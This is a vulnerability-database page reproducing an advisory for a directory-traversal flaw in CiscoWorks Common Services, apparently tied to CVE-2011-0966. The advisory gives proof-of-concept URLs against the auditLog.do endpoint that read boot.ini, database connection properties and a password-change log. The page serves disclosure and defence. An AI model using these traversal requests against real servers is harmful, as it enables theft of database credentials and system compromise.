CiscoWorks Common Services 3.1.1 - Auditing Directory Traversal
| Reporter | Title | Published | Views | Family All 14 |
|---|---|---|---|---|
 | Cisco Unified Operations Manager Multiple Vulnerabilities - SOS-11-006 | 18 May 201100:00 | – | zdt |
 | CVE-2011-0966 | 18 May 201100:00 | – | circl |
 | Cisco Unified Operations Manager < 8.6 Multiple Vulnerabilities | 13 Oct 201100:00 | – | nessus |
 | CVE-2011-0966 | 20 May 201122:00 | – | cve |
 | CVE-2011-0966 | 20 May 201122:00 | – | cvelist |
 | Cisco Unified Operations Manager - Multiple Vulnerabilities | 18 May 201100:00 | – | exploitdb |
 | Cisco Unified Operations Manager - Multiple Vulnerabilities | 18 May 201100:00 | – | exploitpack |
 | CVE-2011-0966 | 20 May 201122:55 | – | nvd |
 | Cisco Unified Operations Manager XSS / SQL Injection / Directory Traversal | 18 May 201100:00 | – | packetstorm |
 | Directory traversal | 20 May 201122:55 | – | prion |
10
source: https://www.securityfocus.com/bid/47905/info
CiscoWorks Common Services is prone to a directory-traversal vulnerability because it fails to sufficiently sanitize user-supplied input.
A remote attacker could exploit this vulnerability using directory-traversal strings (such as '../') to gain access to arbitrary files on the targeted system. This may result in the disclosure of sensitive information or lead to a complete compromise of the affected computer.
This issue is being monitored by Cisco Bug ID CSCto35577.
CiscoWorks Common Services 3.3 and prior are vulnerable.
http://www.example.com/cwhp/auditLog.do?file=..\..\..\..\..\..\..\boot.ini
cmfDBA user database info:
http://www.example.com/cwhp/auditLog.do?file=..\..\..\..\..\..\..\Program
Files\CSCOpx\MDC\Tomcat\webapps\triveni\WEB-INF\classes\schedule.properties DB connection info for all databases:
http://www.example.com/cwhp/auditLog.do?file=..\..\..\..\..\..\..\Program
Files\CSCOpx\lib\classpath\com\cisco\nm\cmf\dbservice2\DBServer.properties
Note: When reading large files such as this file, ensure the row limit is adjusted to 500 for example.
DB password change log:
http://www.example.com/cwhp/auditLog.do?file=..\..\..\..\..\..\..\Program
Files\CSCOpx\log\dbpwdChange.logData
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
14 Jan 2015 00:00Current
5.2Medium risk
Vulners AI Score5.2
CVSS 26.8
EPSS0.41348